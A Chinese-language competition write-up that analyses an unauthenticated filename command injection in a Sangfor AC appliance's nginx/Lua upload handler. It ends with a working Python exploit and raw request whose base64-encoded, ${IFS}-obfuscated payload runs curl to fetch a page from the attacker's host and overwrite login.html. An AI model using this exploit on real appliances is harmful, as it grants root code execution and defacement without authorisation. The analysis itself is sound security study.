题目描述
题目信息: 题目名称:realAC 旗帜名称:rAC 题目描述:附件中给出了一个虚拟机,环境和展示区相同但密码不同。请实现root权限的RCE,并将展示页面的https://ip:443/login.html修改为特定主页。 附件信息:附件为台上相同的攻击环境(仅密码不同)。 台上拓扑:交换机同时连接选手攻击机和代理虚拟机,代理虚拟机与靶机相连。代理虚拟机将靶机的80,85,443,9998端口,通过端口转发的方式可被选手访问。其中代理虚拟机仅提供端口转发功能。 展示目标:选手携带自己的攻击机上台,接入代理虚拟机所在网段,需要在规定的时间内攻击靶机,将https://ip:443/login.html修改为特定页面。需要修改的特定页面详见附件中的login.html,选手展示时需将其中的“XXXXX”替换为自己的队伍名。 展示时操作人员操作步骤: 1)恢复虚拟机快照到初始状态; 2)打开虚拟机; 3)在靶机的浏览器中访问https://ip:443/login.html,确认虚拟机中的服务正常。 4)检查靶机IP,并告知选手,确认选手可以正常访问https://ip:443/login.html;80,85,443,9998端口均为开放状态; 5)等待选手攻击; 6)重新在靶机的浏览器中访问https://ip:443/login.html确认选手是否篡改了页面; 7)在规定时间内可以配合选手重启虚拟机; 8)攻击成功或超时后:恢复虚拟机快照到初始状态。
1 命令注入
服务分析
内置apache和nginx 暂时先理nginx 找配置文件
Sangfor-AC-13.0.47 ~ # find / -name "nginx.conf" /var/cfgroot/ac/etc/nginx/conf/nginx.conf /etc/nginx/conf/nginx.conf /ac/module/openresty/nginx/conf/nginx.conf /ac/etc/nginx/conf/nginx.conf /ac/common/cfgconvert/12.0.7/nginx/nginx.conf /ac/common/cfgconvert/12.0.5/nginx/nginx.conf /ac/common/cfgconvert/12.0.9/nginx/nginx.conf
实际使用的是/ac/etc/nginx/conf/nginx.conf
启动需要指定到此配置文件 nginx -s reload -c /ac/etc/nginx/conf/nginx.conf
核心部分如下,定义了一个路由/ingress/illegal,调用/ac/module/openresty/nginx/scripts/ingress_upload.lua
http { ... server { ... # 处理分支准入上报的数据 location = /ingress/illegal { # 硬限制60M client_max_body_size 60M; # 30分钟超时 keepalive_timeout 1800; # 转发 upload_pass @ingress_upload; # 临时保存路径(/etc/init.d/nginx脚本里确保了此目录存在) upload_store /data/ingress_illegal/ingress_branch_data/upload_temp; # 上传文件的权限 upload_store_access all:rw; # 去掉url中的参数 upload_pass_args off; # 这里写入http报头,pass到后台页面后能获取这里set的报头字段 upload_set_form_field "file_name" $upload_file_name; upload_set_form_field "file_content_type" $upload_content_type; upload_set_form_field "file_tmp_path" $upload_tmp_path; # Upload模块自动生成的一些信息,如文件大小与文件md5值 upload_aggregate_form_field "file_md5" $upload_file_md5; upload_aggregate_form_field "file_size" $upload_file_size; # 所有原始字段传到后台 # upload_pass_form_field "^.*$"; # 每秒字节速度控制,0表示不限制 upload_limit_rate 0; # 如果pass页面是以下状态码,就删除此次上传的临时文件 upload_cleanup 400 403 404 499 500-505; } location @ingress_upload { lua_need_request_body on; content_by_lua_file "/ac/module/openresty/nginx/scripts/ingress_upload.lua"; } } }
注意这里配置文件中
# 这里写入http报头,pass到后台页面后能获取这里set的报头字段 upload_set_form_field "file_name" $upload_file_name; upload_set_form_field "file_content_type" $upload_content_type; upload_set_form_field "file_tmp_path" $upload_tmp_path; # Upload模块自动生成的一些信息,如文件大小与文件md5值 upload_aggregate_form_field "file_md5" $upload_file_md5; upload_aggregate_form_field "file_size" $upload_file_size;
该模块解析请求体,存储上传到由
upload_store指令指定的目录的所有文件。然后文件被从主体中剥离,然后更改请求被传递到由upload_pass指令指定的位置,从而允许任意处理上传的文件。每个文件字段都被upload_set_form_field指令指定的一组字段所替换然后,可以从
$upload_tmp_path变量指定的文件中读取每个上传文件的内容,也可以将文件简单地移动到最终目的地。输出文件的移除由upload_cleanup指令控制。如果请求具有POST以外的方法,则模块返回错误405 (method not allowed)。使用这些方法的请求可以通过error_page指令在另一个位置处理
Specifies a form field(s) to generate for each uploaded file in request body passed to backend. Both
nameandvaluecould contain following special variables:
$upload_field_name: the name of original file field$upload_content_type: the content type of file uploaded$upload_file_name: the original name of the file being uploaded with leading path elements in DOS and UNIX notation stripped. I.e. "D:\Documents And Settings\My Dcouments\My Pictures\Picture.jpg" will be converted to "Picture.jpg" and "/etc/passwd" will be converted to "passwd".$upload_tmp_path: the path where the content of original file is being stored to. The output file name consists 10 digits and generated with the same algorithm as inproxy_temp_pathdirective.
所以$upload_field_name就是报文中上传的文件名
/ac/module/openresty/nginx/scripts/ingress_upload.lua内容如下
没有任何鉴权,从onupload()中进入process_file(),filename可以命令注入
-- 此脚本用于处理分支上传的准入违规数据 -- 就是接收文件,存放到指定目录下 local sa = require("safeaccess") -- 压缩包存放路径 local root_dir = "/data/ingress_illegal/ingress_branch_data/compress/"; -- 入口 function onupload() ngx.req.read_body() -- 获取上传的参数 local post_args = ngx.req.get_post_args() local http_headers = ngx.req.get_headers() -- 取得参数的分界符 local boundary = string.match(http_headers["Content-Type"], "boundary=(.*)") -- 解析参数,从头部取得的分解符比真正的分界符少了两个'-'需补上 local table_params = get_params(post_args, "--" .. boundary) ret_val = process_file(table_params) -- 处理文件后返回 if ret_val == true then ngx.say(string.format("md5=%s&size=%s&name=%s&res=%s", table_params["file_md5"], table_params["file_size"], table_params["file_name"], "ok")) else ngx.status = 403 -- 失败返回403 forbidden ngx.say(string.format("md5=%s&size=%s&name=%s&res=%s", table_params["file_md5"], table_params["file_size"], table_params["file_name"], "mv fail")) end end -- 解析form格式的参数 function get_params(post_args, boundary) local param = "" for k, v in pairs(post_args) do param = k .. "=" .. v end local params = sa.split(string.gsub(param, "\r\n", ""), boundary) local res = {} for k, v in pairs(params) do local name, data = string.match(v, "name=\"(.+)\"(.+)") if name and data then res[trim(name)] = trim(data) end end return res end -- 处理临时文件 function process_file(params) local filename = params["file_name"] -- 压缩包的文件名 local file_tmp_path = trim(params["file_tmp_path"]) -- 文件此时所在路径 local mv_command = string.format("mv %s %s &> /dev/null", file_tmp_path, root_dir .. filename) return os.execute(mv_command) end -- 字符串去掉空格 function trim(str) if str ~= nil then return string.gsub(str, "%s+", "") end return nil end onupload()
exp
注入命令,下载页面并覆盖原login.html
curl -o /ac/webui/front_end/login.html http://192.168.130.1:8000/login.html
import requests url = "http://192.168.130.154/ingress/illegal" file_content = b"This is the content of the example.txt file." files = { 'file': (';echo${IFS}Y3VybCAtbyAvYWMvd2VidWkvZnJvbnRfZW5kL2xvZ2luLmh0bWwgaHR0cDovLzE5Mi4xNjguMTMwLjE6ODAwMC9sb2dpbi5odG1s${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;', file_content, 'text/plain') } response = requests.post(url, files=files,verify=False) print("Status Code:", response.status_code) print("Response Body:", response.text)
对应报文如下
POST /ingress/illegal HTTP/1.1 Host: 192.168.130.154 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Length: 364 Content-Type: multipart/form-data; boundary=9acf1c41fd00b7590ee457afb704fa3f --9acf1c41fd00b7590ee457afb704fa3f Content-Disposition: form-data; name="file"; filename=";echo${IFS}Y3VybCAtbyAvYWMvZGMvbGRiL2Jpbi93ZWIvdWkvbG9naW4uaHRtbCBodHRwOi8vMTkyLjE2OC4xMzAuMTo4MDAwL2xvZ2luLmh0bWw=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;" Content-Type: text/plain This is the content of the example.txt file. --9acf1c41fd00b7590ee457afb704fa3f--